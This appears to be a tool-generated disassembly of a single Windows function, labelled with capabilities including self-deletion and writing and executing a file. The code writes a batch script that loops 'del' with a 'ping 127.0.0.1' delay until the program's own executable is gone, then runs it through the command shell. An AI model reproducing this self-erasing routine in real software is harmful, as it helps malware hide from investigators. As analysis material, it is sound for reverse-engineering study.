Function at 0x40b123
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
mov eax, dword [0x46600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x20a
lea eax, [ebp - 0x218]
push esi
xor ebx, ebx
mov edi, ecx
push ebx
push eax
call fcn.0043cc90
add esp, 0xc
lea eax, [ebp - 0x428]
push esi
push ebx
push eax
call fcn.0043cc90
add esp, 0xc
lea eax, [ebp - 0x218]
mov esi, 0x104
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40b531
push esi
lea eax, [ebp - 0x428]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40b531
lea ecx, [ebp - 0x4bc]
call fcn.00403324
xor eax, eax
mov dword [ebp - 0x460], ebx
push 7
pop esi
mov word [ebp - 0x470], ax
lea ecx, [ebp - 0x4bc]
lea eax, [ebp - 0x470]
mov dword [ebp - 0x45c], esi
push eax
call fcn.00412670
test al, al
je 0x40b51b
push str..bat
lea edx, [ebp - 0x470]
lea ecx, [ebp - 0x440]
call fcn.0040248d
pop ecx
lea edx, [ebp - 0x440]
lea ecx, [ebp - 0x470]
call fcn.004178a0
test al, al
je 0x40b510
mov dword [ebp - 0x444], esi
xor eax, eax
mov esi, str.if_not_exist__
mov byte [ebp - 0x4bc], bl
push esi
mov dword [ebp - 0x448], ebx
mov word [ebp - 0x458], ax
call fcn.0043ef4e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004025a8
lea eax, [ebp - 0x218]
push eax
call fcn.0043ef4e
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x458]
call fcn.004025a8
mov esi, str.___del__0___else__ping_127.0.0.1__n_2del__
push esi
call fcn.0043ef4e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004025a8
lea eax, [ebp - 0x218]
push eax
call fcn.0043ef4e
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x458]
call fcn.004025a8
mov esi, str.__0_
push esi
call fcn.0043ef4e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x458]
call fcn.004025a8
lea ecx, [ebp - 0x4d8]
call fcn.004153a0
sub esp, 0x10
lea eax, [ebp - 0x440]
lea ecx, [ebp - 0x4d8]
push eax
call fcn.00415480
test al, al
je 0x40b4fa
push ecx
lea edx, [ebp - 0x458]
lea ecx, [ebp - 0x488]
call fcn.00416570
mov esi, dword [ebp - 0x478]
pop ecx
test esi, esi
je 0x40b4ef
cmp dword [ebp - 0x474], 0x10
lea ecx, [ebp - 0x488]
mov eax, dword [ebp - 0x4d8]
cmovae ecx, dword [ebp - 0x488]
mov dword [ebp - 0x4dc], ebx
test eax, eax
je 0x40b4ef
test ecx, ecx
je 0x40b4ef
cmp dword [eax], 0xffffffff
je 0x40b4ef
push ebx
lea edx, [ebp - 0x4dc]
push edx
push esi
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b4ef
cmp esi, dword [ebp - 0x4dc]
jne 0x40b4ef
lea ecx, [ebp - 0x4d8]
call fcn.004155d0
test al, al
je 0x40b4ef
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x51c]
push ebx
push eax
call fcn.0043cc90
add esp, 0xc
mov dword [ebp - 0x51c], esi
lea eax, [ebp - 0x440]
mov dword [ebp - 0x510], str.Open
mov edx, str._c__
lea ecx, [ebp - 0x4d4]
push eax
call fcn.00403470
pop ecx
push eax
lea ecx, [ebp - 0x440]
call fcn.004023e5
lea ecx, [ebp - 0x4d4]
call fcn.0040203f
mov esi, 0x459840
push esi
call fcn.0043ef4e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x440]
call fcn.004025a8
cmp dword [ebp - 0x42c], 8
lea eax, [ebp - 0x440]
lea esi, [edi + 0x2e0]
mov dword [ebp - 0x500], ebx
cmovae eax, dword [ebp - 0x440]
mov ecx, esi
mov dword [ebp - 0x508], eax
lea eax, [ebp - 0x428]
mov dword [ebp - 0x50c], eax
mov dword [ebp - 0x518], 0x8040
call fcn.00408191
mov ecx, esi
call fcn.0040818d
mov edi, eax
push 0x18
pop esi
mov dword [ebp - 0x4e0], esi
mov eax, dword [edi + 4]
mov ecx, dword [edi]
sub eax, ecx
cdq
idiv esi
test eax, eax
je 0x40b459
mov esi, ebx
add ecx, esi
call fcn.00417c90
mov ecx, dword [edi]
inc ebx
push 0x18
pop eax
add esi, eax
mov eax, dword [edi + 4]
sub eax, ecx
cdq
idiv dword [ebp - 0x4e0]
cmp ebx, eax
jb 0x40b43a
lea eax, [ebp - 0x51c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x40b4ef
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push dword [ebp - 0x4e4]
call esi
test eax, eax
je 0x40b4ef
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x40b4ef
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea ecx, [ebp - 0x488]
mov esi, eax
call fcn.0040b892
lea ecx, [ebp - 0x4d8]
call fcn.00415410
lea ecx, [ebp - 0x458]
call fcn.0040203f
lea ecx, [ebp - 0x440]
call fcn.0040203f
lea ecx, [ebp - 0x470]
call fcn.0040203f
lea ecx, [ebp - 0x4bc]
call fcn.00412570
test esi, esi
je 0x40b531
mov al, 1
jmp 0x40b533
lea ecx, [ebp - 0x488]
call fcn.0040b892
lea ecx, [ebp - 0x4d8]
call fcn.00415410
lea ecx, [ebp - 0x458]
call fcn.0040203f
lea ecx, [ebp - 0x440]
call fcn.0040203f
lea ecx, [ebp - 0x470]
call fcn.0040203f
lea ecx, [ebp - 0x4bc]
call fcn.00412570
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043af96
leave
ret